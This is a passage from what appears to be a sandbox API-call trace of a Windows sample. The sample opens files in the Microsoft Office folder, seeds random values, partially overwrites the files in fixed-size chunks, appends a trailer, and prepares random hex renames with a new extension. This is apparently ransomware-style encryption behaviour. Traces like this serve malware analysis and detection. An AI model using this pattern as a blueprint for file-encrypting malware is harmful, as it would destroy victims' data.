RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0100.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869fc0 [0100.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0100.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e900b0 [0100.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ce0 [0100.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263d40 [0100.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263d40) returned 1 [0100.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 [0100.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0100.850] WriteFile (in: hFile=0xa70, lpBuffer=0x41e900b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2623f5a0, lpOverlapped=0x0 | out: lpBuffer=0x41e900b0*, lpNumberOfBytesWritten=0x2623f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0147.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e900b0) returned 1 [0147.859] SetFilePointerEx (in: hFile=0xa70, liDistanceToMove=0x39e3d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.859] ReadFile (in: hFile=0xa70, lpBuffer=0x1ceb8940, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2623f5a0, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8940*, lpNumberOfBytesRead=0x2623f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0147.973] SetFilePointerEx (in: hFile=0xa70, liDistanceToMove=0x39e3d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0147.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0147.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0147.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c20) returned 1 [0147.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce7b5c0 [0147.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0147.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0147.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0147.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0147.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0147.975] WriteFile (in: hFile=0xa70, lpBuffer=0x1ce7b5c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2623f5a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce7b5c0*, lpNumberOfBytesWritten=0x2623f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce7b5c0) returned 1 [0171.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15370 [0171.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c20) returned 1 [0171.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ce0) returned 1 [0171.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a690) returned 1 [0171.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb8940) returned 1 [0171.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85a690 [0171.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059dd0 [0171.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8670c0 [0171.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859f40 [0171.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859f40) returned 1 [0171.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b859f40 [0171.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8599d0 [0171.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b1d0 [0171.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b1d0) returned 1 [0171.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8670c0) returned 1 [0171.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059dd0) returned 1 [0171.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x146) returned 0x1cebc580 [0171.050] SetFilePointerEx (in: hFile=0xa70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0171.050] WriteFile (in: hFile=0xa70, lpBuffer=0x1cebc580*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2623f650, lpOverlapped=0x0 | out: lpBuffer=0x1cebc580*, lpNumberOfBytesWritten=0x2623f650*=0x146, lpOverlapped=0x0) returned 1 [0181.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420585b0 [0181.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a9b0 [0181.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2d950 [0181.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2d950) returned 1 [0181.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0181.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2d950 [0181.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2d980 [0181.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2d980) returned 1 [0181.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a9b0) returned 1 [0181.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420585b0) returned 1 [0181.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9edb0 [0181.278] sprintf (in: _Dest=0x1cd9edb0, _Format="%c%c" | out: _Dest="38") returned 2 [0181.278] sprintf (in: _Dest=0x1cd9edb2, _Format="%c%c" | out: _Dest="6d") returned 2 [0181.278] sprintf (in: _Dest=0x1cd9edb4, _Format="%c%c" | out: _Dest="1e") returned 2 [0181.278] sprintf (in: _Dest=0x1cd9edb6, _Format="%c%c" | out: _Dest="b1") returned 2 [0181.278] sprintf (in: _Dest=0x1cd9edb8, _Format="%c%c" | out: _Dest="07") returned 2 [0181.278] sprintf (in: _Dest=0x1cd9edba, _Format="%c%c" | out: _Dest="89") returned 2 [0181.278] sprintf (in: _Dest=0x1cd9edbc, _Format="%c%c" | out: _Dest="b9") returned 2 [0181.278] sprintf (in: _Dest=0x1cd9edbe, _Format="%c%c" | out: _Dest="08") returned 2 [0181.278] sprintf (in: _Dest=0x1cd9edc0, _Format="%c%c" | out: _Dest="cc") returned 2 [0181.278] sprintf (in: _Dest=0x1cd9edc2, _Format="%c%c" | out: _Dest="5c") returned 2 [0181.278] sprintf (in: _Dest=0x1cd9edc4, _Format="%c%c" | out: _Dest="63") returned 2 [0181.278] sprintf (in: _Dest=0x1cd9edc6, _Format="%c%c" | out: _Dest="cf") returned 2 [0181.278] sprintf (in: _Dest=0x1cd9edc8, _Format="%c%c" | out: _Dest="40") returned 2 [0181.278] sprintf (in: _Dest=0x1cd9edca, _Format="%c%c" | out: _Dest="67") returned 2 [0181.278] sprintf (in: _Dest=0x1cd9edcc, _Format="%c%c" | out: _Dest="e1") returned 2 [0181.278] sprintf (in: _Dest=0x1cd9edce, _Format="%c%c" | out: _Dest="27") returned 2 [0181.279] sprintf (in: _Dest=0x1cd9edd0, _Format="%c%c" | out: _Dest="3c") returned 2 [0181.279] sprintf (in: _Dest=0x1cd9edd2, _Format="%c%c" | out: _Dest="7a") returned 2 [0181.279] sprintf (in: _Dest=0x1cd9edd4, _Format="%c%c" | out: _Dest="5d") returned 2 [0181.279] sprintf (in: _Dest=0x1cd9edd6, _Format="%c%c" | out: _Dest="97") returned 2 [0181.279] RtlInitAnsiString (in: DestinationString=0x2623f6c8, SourceString="386d1eb10789b908cc5c63cf4067e1273c7a5d97" | out: DestinationString="386d1eb10789b908cc5c63cf4067e1273c7a5d97") [0181.279] RtlAnsiStringToUnicodeString (in: DestinationString=0x2623f698, SourceString="386d1eb10789b908cc5c63cf4067e1273c7a5d97", AllocateDestinationString=1 | out: DestinationString="386d1eb10789b908cc5c63cf4067e1273c7a5d97") returned 0x0 [0181.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1ced59e0 [0181.280] RtlFreeAnsiString (AnsiString="3") [0181.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9edb0) returned 1 [0181.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0181.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2d950) returned 1 [0181.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebc580) returned 1 [0181.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859f40) returned 1 [0181.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8599d0) returned 1 [0181.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a690) returned 1 [0181.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce15370) returned 1 [0181.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a6c0) returned 1 [0181.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a5d0) returned 1 [0181.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a300) returned 1 [0181.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x42c22120 [0181.285] wcscat (in: _Dest=0x42c22120, _Source="386d1eb107" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\386d1eb107") returned="C:\\Program Files\\Microsoft Office\\Office14\\386d1eb107" [0181.285] wcscat (in: _Dest=0x42c22120, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\386d1eb107.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\386d1eb107.2f9b60" [0181.285] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\386d1eb107.2f9b60", NtPathName=0x2623f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\386d1eb107.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0181.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x42c31f30 Thread: id = 374 os_tid = 0xf08 [0089.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic")) returned 0x20 [0089.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC", dwFileAttributes=0x20) returned 1 [0089.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advzip.dic"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa74 [0089.816] GetFileSizeEx (in: hFile=0xa74, lpFileSize=0x2581f660 | out: lpFileSize=0x2581f660*=3024356) returned 1 [0089.816] SetFilePointerEx (in: hFile=0xa74, liDistanceToMove=0x2e25e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.816] ReadFile (in: hFile=0xa74, lpBuffer=0x2581f5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2581f628, lpOverlapped=0x0 | out: lpBuffer=0x2581f5e0*, lpNumberOfBytesRead=0x2581f628*=0x4, lpOverlapped=0x0) returned 1 [0089.818] SetFilePointerEx (in: hFile=0xa74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a6f0 [0089.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a480 [0089.818] NtQuerySystemTime (in: CurrentTime=0x2581f520 | out: CurrentTime=0x2581f520*=132462176956822000) returned 0x0 [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x32f51af3 [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x46aacb23 [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x6e094550 [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x15717eaf [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x12809aef [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x145c09db [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x1c60bbf4 [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x14245c81 [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x2e691d84 [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x45ad289d [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x182e361c [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x29ea1d56 [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x7287e217 [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x4eda63db [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x4023d7c9 [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x41538190 [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x1fd8ee5e [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x49e2c31c [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x7de396fb [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x79ed9779 [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x62abb7a [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x535ce5d0 [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x2f3a72fd [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x1925c06c [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x606aae7f [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x73fa2a39 [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x73e3c4f0 [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x19f40e2d [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x549fb56e [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x4571ea99 [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x235b69b6 [0089.819] RtlRandomEx (in: Seed=0x2581f510 | out: Seed=0x2581f510) returned 0x2b0ee709 [0089.846] SetFilePointerEx (in: hFile=0xa74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.846] ReadFile (in: hFile=0xa74, lpBuffer=0x1cec0160, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2581f580, lpOverlapped=0x0 | out: lpBuffer=0x1cec0160*, lpNumberOfBytesRead=0x2581f580*=0x3c00, lpOverlapped=0x0) returned 1 [0089.857] SetFilePointerEx (in: hFile=0xa74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0089.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a6f0 [0089.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a6f0) returned 1 [0089.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cec3d70 [0089.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a6f0 [0089.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a480 [0089.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a480) returned 1 [0089.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0089.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.860] WriteFile (in: hFile=0xa74, lpBuffer=0x1cec3d70*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2581f580, lpOverlapped=0x0 | out: lpBuffer=0x1cec3d70*, lpNumberOfBytesWritten=0x2581f580*=0x3c00, lpOverlapped=0x0) returned 1 [0098.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec3d70) returned 1 [0098.415] SetFilePointerEx (in: hFile=0xa74, liDistanceToMove=0x173400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.415] ReadFile (in: hFile=0xa74, lpBuffer=0x1cec0160, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2581f580, lpOverlapped=0x0 | out: lpBuffer=0x1cec0160*, lpNumberOfBytesRead=0x2581f580*=0x3c00, lpOverlapped=0x0) returned 1 [0100.395] SetFilePointerEx (in: hFile=0xa74, liDistanceToMove=0x173400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd979e0 [0100.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0100.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0100.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e500b0 [0100.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263080 [0100.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ce0 [0100.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ce0) returned 1 [0100.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0100.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd979e0) returned 1 [0100.846] WriteFile (in: hFile=0xa74, lpBuffer=0x41e500b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2581f580, lpOverlapped=0x0 | out: lpBuffer=0x41e500b0*, lpNumberOfBytesWritten=0x2581f580*=0x3c00, lpOverlapped=0x0) returned 1 [0159.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e500b0) returned 1 [0159.498] SetFilePointerEx (in: hFile=0xa74, liDistanceToMove=0x2de9e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.499] ReadFile (in: hFile=0xa74, lpBuffer=0x1cec0160, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2581f580, lpOverlapped=0x0 | out: lpBuffer=0x1cec0160*, lpNumberOfBytesRead=0x2581f580*=0x3c00, lpOverlapped=0x0) returned 1 [0161.186] SetFilePointerEx (in: hFile=0xa74, liDistanceToMove=0x2de9e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0161.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0161.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3c50 [0161.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3c50) returned 1 [0161.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201900b0 [0161.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3c50 [0161.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3c80 [0161.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3c80) returned 1 [0161.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0161.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0161.189] WriteFile (hFile=0xa74, lpBuffer=0x201900b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2581f580, lpOverlapped=0x0) [0187.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201900b0) returned 1 [0187.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15760 [0187.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3c50) returned 1 [0187.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263080) returned 1 [0187.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a6f0) returned 1 [0187.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec0160) returned 1 [0187.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85a6f0 [0187.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0187.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0187.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0187.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a4e0) returned 1 [0187.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85a4e0 [0187.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aed0 [0187.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0187.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0187.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0187.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0187.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x146) returned 0x1cebc820 [0187.232] SetFilePointerEx (in: hFile=0xa74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.232] WriteFile (in: hFile=0xa74, lpBuffer=0x1cebc820*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2581f630, lpOverlapped=0x0 | out: lpBuffer=0x1cebc820*, lpNumberOfBytesWritten=0x2581f630*=0x146, lpOverlapped=0x0) returned 1 [0200.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be80 [0200.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8667c0 [0200.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c8f0 [0200.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c8f0) returned 1 [0200.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d360 [0200.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c8f0 [0200.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c8c0 [0200.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c8c0) returned 1 [0200.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8667c0) returned 1 [0200.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5be80) returned 1 [0200.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9fd30 [0200.911] sprintf (in: _Dest=0x1cd9fd30, _Format="%c%c" | out: _Dest="3a") returned 2 [0200.911] sprintf (in: _Dest=0x1cd9fd32, _Format="%c%c" | out: _Dest="7c") returned 2 [0200.911] sprintf (in: _Dest=0x1cd9fd34, _Format="%c%c" | out: _Dest="4b") returned 2 [0200.911] sprintf (in: _Dest=0x1cd9fd36, _Format="%c%c" | out: _Dest="ff") returned 2 [0200.911] sprintf (in: _Dest=0x1cd9fd38, _Format="%c%c" | out: _Dest="90") returned 2 [0200.911] sprintf (in: _Dest=0x1cd9fd3a, _Format="%c%c" | out: _Dest="45") returned 2 [0200.911] sprintf (in: _Dest=0x1cd9fd3c, _Format="%c%c" | out: _Dest="03") returned 2 [0200.911] sprintf (in: _Dest=0x1cd9fd3e, _Format="%c%c" | out: _Dest="84") returned 2 [0200.911] sprintf (in: _Dest=0x1cd9fd40, _Format="%c%c" | out: _Dest="d2") returned 2 [0200.911] sprintf (in: _Dest=0x1cd9fd42, _Format="%c%c" | out: _Dest="75") returned 2 [0200.911] sprintf (in: _Dest=0x1cd9fd44, _Format="%c%c" | out: _Dest="f1") returned 2 [0200.911] sprintf (in: _Dest=0x1cd9fd46, _Format="%c%c" | out: _Dest="c9") returned 2 [0200.911] sprintf (in: _Dest=0x1cd9fd48, _Format="%c%c" | out: _Dest="0f") returned 2 [0200.911] sprintf (in: _Dest=0x1cd9fd4a, _Format="%c%c" | out: _Dest="3f") returned 2 [0200.911] sprintf (in: _Dest=0x1cd9fd4c, _Format="%c%c" | out: _Dest="f4") returned 2 [0200.911] sprintf (in: _Dest=0x1cd9fd4e, _Format="%c%c" | out: _Dest="77") returned 2 [0200.912] sprintf (in: _Dest=0x1cd9fd50, _Format="%c%c" | out: 